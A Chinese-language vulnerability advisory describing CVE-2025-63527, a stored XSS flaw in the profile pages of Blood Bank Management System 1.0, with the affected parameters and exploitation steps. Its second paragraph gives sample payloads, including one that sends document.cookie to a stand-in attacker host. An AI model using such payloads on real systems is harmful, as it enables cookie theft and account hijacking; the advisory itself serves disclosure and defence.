CVE-2025-63527CVE-2025-63527是Blood Bank Management System 1.0中存在的一个高危跨站脚本(XSS)漏洞,CVSS评分达到8.5分。该漏洞主要影响系统的用户资料管理功能,位于updateprofile.php和hprofile.php两个核心组件中。攻击者可以利用该漏洞在多个用户输入参数中注入恶意JavaScript代码,包括hname(姓名)、hemail(邮箱)、hpassword(密码)、hphone(电话)和hcity(城市)等字段。由于应用程序在处理用户输入时未能进行充分的消毒和编码处理,导致恶意载荷在受害者浏览器中执行时会被当作合法代码运行。此漏洞可被低权限用户利用,无需任何用户交互即可触发,攻击成功后可窃取用户会话令牌、劫持账户、进行钓鱼攻击或修改页面内容,对系统安全性和用户隐私构成严重威胁。
该漏洞属于存储型XSS(Stored XSS)漏洞,攻击载荷被永久存储在服务器端。当其他用户访问包含恶意代码的页面时,攻击自动执行。在Blood Bank Management System 1.0中,updateprofile.php和hprofile.php组件直接使用用户提交的输入数据渲染HTML页面,缺少必要的输入验证和输出编码机制。攻击者首先使用低权限账户登录系统,然后访问个人资料编辑页面,在hname、hemail、hpassword、hphone、hcity等参数中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>。提交后,恶意载荷被存入数据库。当管理员或其他用户查看用户资料时,未经过滤的数据被直接嵌入HTML响应,浏览器将其解析为可执行脚本,导致攻击者可以获取受害者的认证Cookie、会话令牌或其他敏感信息,进一步实现账户劫持和数据窃取。